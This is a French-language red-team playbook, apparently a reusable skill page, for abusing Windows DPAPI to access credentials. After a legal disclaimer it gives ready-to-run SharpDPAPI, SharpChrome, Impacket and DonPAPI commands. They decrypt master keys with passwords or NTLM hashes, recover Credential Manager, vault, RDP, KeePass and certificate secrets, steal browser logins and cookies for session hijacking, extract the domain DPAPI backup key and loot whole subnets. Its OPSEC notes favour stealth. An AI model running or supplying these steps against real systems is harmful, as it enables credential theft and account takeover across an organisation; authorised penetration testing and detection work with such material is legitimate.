Que fait Abus de DPAPI pour l'accès aux identifiants ?
Avis légal : Cette compétence est destinée uniquement aux tests d'intrusion autorisés, aux engagements Red Team et à des fins éducatives. L'extraction d'identifiants à partir de systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite est illégale et peut violer les lois sur la fraude informatique et les abus. Opérez toujours dans le cadre d'une charte d'engagement signée et documentez chaque action.
Présentation
L'API de protection des données Windows (DPAPI) est le service de chiffrement symétrique intégré du système d'exploitation, utilisé par les applications pour protéger les secrets au repos : identifiants RDP et Credential Manager enregistrés, identifiants Web et Wi-Fi dans le coffre-fort d'identifiants, identifiants et cookies enregistrés du navigateur (Chrome/Edge), clés KeePass, clés privées de certificats et mots de passe de tâches planifiées. DPAPI dérive une clé maîtresse par utilisateur (ou par machine) du mot de passe de l'utilisateur (ou du secret du compte machine), et cette clé maîtresse chiffre des « blobs DPAPI » individuels. Les clés maîtresses chiffrées se trouvent sous %APPDATA%\Microsoft\Protect\<SID>\ (utilisateur) et %WINDIR%\System32\Microsoft\Protect\ (machine).
Les Red Teamers abusent de DPAPI pour récupérer les secrets en clair après avoir obtenu un point d'appui, correspondant à la technique MITRE ATT&CK T1555.004 (Identifiants depuis les magasins de mots de passe : Windows Credential Manager). Il existe trois voies de déchiffrement principales :
- En ligne / basé sur le contexte — en tant qu'utilisateur cible, les API DPAPI (
CryptUnprotectData) déchiffrent de manière transparente les blobs de l'utilisateur. L'indicateur/unprotectde SharpDPAPI utilise cette méthode. - Hors ligne avec le mot de passe ou le hash NTLM — déchiffrer les clés maîtresses de l'utilisateur avec
/password:ou/ntlm:, puis déchiffrer les blobs hors ligne (idéal pour les fichiers triés extraits d'un hôte). - À l'échelle du domaine avec la clé de sauvegarde DPAPI — les administrateurs de domaine peuvent extraire la clé de sauvegarde DPAPI RSA du domaine (
.pvk) une fois, puis déchiffrer toutes les clés maîtresses de tous les utilisateurs du domaine, en ligne ou hors ligne, avec/pvk:.
Les outils canoniques sont SharpDPAPI (GhostPack, un port C# des fonctionnalités DPAPI de Mimikatz) pour Windows, SharpChrome pour les secrets de navigateur, et Mimikatz (dpapi::*) en tant qu'implémentation originale. Sous Linux, dpapi.py d'Impacket et donpapi effectuent un triage à distance/hors ligne.
Quand l'utiliser
- Après avoir compromis un hôte Windows où l'utilisateur a enregistré des identifiants RDP, de navigateur ou de coffre-fort valant la peine d'être récoltés pour un mouvement latéral.
- Lorsque vous détenez le mot de passe ou le hash NTLM d'un utilisateur et souhaitez déchiffrer ses secrets protégés par DPAPI hors ligne.
- Lorsque vous êtes administrateur de domaine et souhaitez obtenir la clé de sauvegarde DPAPI du domaine pour déchiffrer les données protégées de n'importe quel utilisateur sur l'ensemble du parc.
- Lors du triage de répertoires
Credentials,VaultouProtectexfiltrés à partir d'images disque. - Lors d'exercices d'équipe violette pour valider la détection de l'accès aux clés maîtresses DPAPI et aux lectures LSASS/dossier Protect.
Prérequis
- Un point d'appui autorisé (session interactive, beacon ou admin à distance) sur l'hôte Windows cible.
- Connaissance du SID de l'utilisateur cible, et soit : la session de l'utilisateur, son mot de passe, son hash NTLM, ou des droits d'administrateur de domaine pour la clé de sauvegarde.
- Outillage (compiler à partir des sources ou utiliser des binaires de versions ; obtenir uniquement à partir des sources officielles) :
# SharpDPAPI / SharpChrome (GhostPack) — compiler avec Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Ouvrir SharpDPAPI.sln et compiler en Release, ou :
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (implémentation DPAPI originale)
# https://github.com/gentilkiwi/mimikatz/releases
# Triage à distance/hors ligne Linux (Impacket)
pipx install impacket # fournit dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
Objectifs
- Trier un hôte à la recherche de blobs d'identifiants, de coffre-fort, RDP et de certificats protégés par DPAPI.
- Déchiffrer les clés maîtresses utilisateur en ligne (
/unprotect), avec un mot de passe/hash, ou avec la clé de sauvegarde du domaine. - Récupérer les secrets en clair de Credential Manager et du coffre-fort.
- Extraire les identifiants et cookies enregistrés du navigateur avec SharpChrome.
- Obtenir et réutiliser la clé de sauvegarde DPAPI du domaine pour un déchiffrement à l'échelle du parc.
Cartographie MITRE ATT&CK
| ID de technique | Nom | Tactique | Pertinence |
|---|---|---|---|
| T1555.004 | Identifiants depuis les magasins de mots de passe : Windows Credential Manager | Accès aux identifiants | DPAPI protège les entrées de Credential Manager / du coffre-fort ; déchiffrer les clés maîtresses et les blobs récupère ces identifiants stockés. |
| T1555.003 | Identifiants depuis les magasins de mots de passe : Identifiants depuis les navigateurs Web | Accès aux identifiants | SharpChrome déchiffre les identifiants, cookies et clés d'état Chrome/Edge protégés par DPAPI. |
| T1003 | Vidage des identifiants du système d'exploitation | Accès aux identifiants | L'extraction des clés maîtresses / clés de sauvegarde est une forme de vidage de matériel d'identification. |
Workflow
1. Trier l'hôte pour les blobs DPAPI
Exécutez la commande triage de SharpDPAPI dans le contexte de l'utilisateur pour énumérer et (si possible) déchiffrer automatiquement les identifiants, coffres-forts, RDG/RDP et certificats :
# Triage en ligne dans le contexte de l'utilisateur actuel (utilise CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Triage machine (nécessite admin local / SYSTEM) pour les blobs au niveau machine
SharpDPAPI.exe machinetriage
2. Déchiffrer les clés maîtresses utilisateur hors ligne (mot de passe ou hash NTLM)
Si vous détenez le mot de passe ou le hash de l'utilisateur, déchiffrez ses clés maîtresses pour obtenir un mappage {GUID}:SHA1 réutilisable contre des blobs individuels :
# Déchiffrer toutes les clés maîtresses de l'utilisateur actuel/spécifié avec le mot de passe
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Déchiffrer les clés maîtresses avec le hash NTLM de l'utilisateur au lieu du mot de passe
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# La sortie est des lignes GUID:SHA1 — les fournir aux commandes credentials/vaults
3. Récupérer les secrets de Credential Manager et du coffre-fort
Utilisez le mappage de clé maîtresse déchiffrée (ou /pvk:) pour déchiffrer les identifiants stockés et les entrées du coffre-fort :
# Déchiffrer les blobs de Credential Manager avec un mappage GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Ou pointer vers un dossier Credentials cible et déchiffrer avec la clé de sauvegarde du domaine
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Déchiffrer les entrées du Credential Vault
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. Déchiffrer les secrets RDP, KeePass et certificats
# Mots de passe RDP RDCMan.settings enregistrés (contexte utilisateur actuel)
SharpDPAPI.exe rdg /unprotect
# Clés maîtresses KeePass protégées par DPAPI
SharpDPAPI.exe keepass /unprotect
# Clés privées de certificats (exporter un .pem utilisable avec /showall pour tous les magasins)
SharpDPAPI.exe certificates /unprotect /showall
5. Extraire les identifiants de navigateur avec SharpChrome
SharpChrome déchiffre les identifiants et cookies Chrome/Edge. Le Chromium moderne utilise une « clé d'état » liée à l'application que SharpChrome résout via DPAPI :
# Déchiffrer les identifiants enregistrés pour l'utilisateur actuel
SharpChrome.exe logins /unprotect
# Déchiffrer les cookies (utile pour le détournement de session) dans un dossier cible
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Résoudre explicitement la clé d'état AES
SharpChrome.exe statekeys /unprotect
6. Obtenir la clé de sauvegarde DPAPI du domaine (administrateur de domaine)
Avec les droits d'administrateur de domaine, récupérez la clé privée de sauvegarde DPAPI RSA du domaine une fois. Cette clé déchiffre indéfiniment les clés maîtresses de tous les utilisateurs du domaine :
# Récupérer et sauvegarder la clé de sauvegarde du domaine en tant que .pvk via l'interface RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
Puis déchiffrez les clés maîtresses de n'importe quel utilisateur hors ligne avec celle-ci :
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. Triage à distance / Linux (Impacket / DonPAPI)
Depuis une machine d'opérateur Linux, récoltez et déchiffrez les secrets DPAPI sur plusieurs hôtes :
# Déchiffrer un fichier de clé maîtresse unique avec Impacket en utilisant la clé de sauvegarde du domaine
impacket-dpapi masterkey -file <fichier_cle_maitresse> -pvk backupkey.pvk
# Déchiffrer un blob d'identifiants avec la clé maîtresse récupérée
impacket-dpapi credential -file <blob_cred> -key 0x<cle_maitresse_dechiffree>
# Pillage DPAPI à distance en masse avec DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
Outils et ressources
| Outil | Objectif | Lien |
|---|---|---|
| SharpDPAPI | Triage/déchiffrement DPAPI Windows (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Déchiffrement des identifiants/cookies/clés d'état Chromium | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Implémentation DPAPI originale (dpapi::*) | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Déchiffrement DPAPI à distance/hors ligne (Python) | https://github.com/fortra/impacket |
| DonPAPI | Pillage DPAPI à distance en masse | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Référence technique | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
Notes de détection et OPSEC
- L'accès aux clés maîtresses et les lectures de
\Microsoft\Protect\et\Microsoft\Credentials\sont détectables ;backupkeydéclenche un appel RPC MS-BKRP vers le contrôleur de domaine. - La voie
/unprotect(en ligne) est l'option la plus furtive pour un seul hôte mais ne fonctionne qu'en tant qu'utilisateur actif. - Les défenseurs doivent surveiller l'accès aux processus LSASS via Sysmon et les accès anormaux aux dossiers Protect/Credentials (DE.CM-01).
Critères de validation
- Hôte trié avec
SharpDPAPI triage/machinetriage. - Clés maîtresses utilisateur déchiffrées via
/unprotect,/password:,/ntlm:, ou/pvk:. - Secrets de Credential Manager et du coffre-fort récupérés.
- Secrets RDP / KeePass / certificats extraits le cas échéant.
- Identifiants/cookies de navigateur déchiffrés avec SharpChrome.
- Clé de sauvegarde DPAPI du domaine récupérée avec les droits d'administrateur de domaine (si dans le périmètre) et réutilisée hors ligne.
- Tous les secrets récupérés documentés avec l'hôte/l'utilisateur source et la conformité à la charte d'engagement confirmée.